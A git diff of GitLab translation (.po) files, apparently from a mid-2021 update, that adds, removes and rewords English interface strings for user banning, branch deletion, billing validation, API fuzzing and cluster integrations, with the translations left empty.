+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -36984,9 +37715,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38022,10 +38789,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38067,9 +38831,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38085,12 +38846,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38612,6 +39385,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/bg/gitlab.po b/locale/bg/gitlab.po
index 187ffc3dc01..d636a8a805a 100644
--- a/locale/bg/gitlab.po
+++ b/locale/bg/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bg\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:19\n"
+"PO-Revision-Date: 2021-06-01 20:36\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
